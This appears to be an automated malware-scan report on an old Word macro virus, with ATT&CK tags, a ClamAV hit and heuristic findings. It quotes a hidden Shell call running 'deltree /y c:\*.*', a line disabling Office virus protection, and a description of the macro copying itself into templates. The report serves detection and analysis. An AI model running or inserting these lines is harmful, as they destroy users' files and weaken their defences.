MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This document contains legacy WordBasic macros, including AutoOpen and AutoClose, which are indicative of older malware. The AutoExec macro contains a Shell command to execute 'deltree /y c:\*.*', which would delete all files on the C drive. The presence of 'Virus Creator Lab (VCL)' in the document metadata further supports a malicious intent.

Heuristics 7

  • ClamAV: Doc.Trojan.Mbug-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mbug-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell "deltree /y c:\*.*", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.

    Options.VirusProtection = False

  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
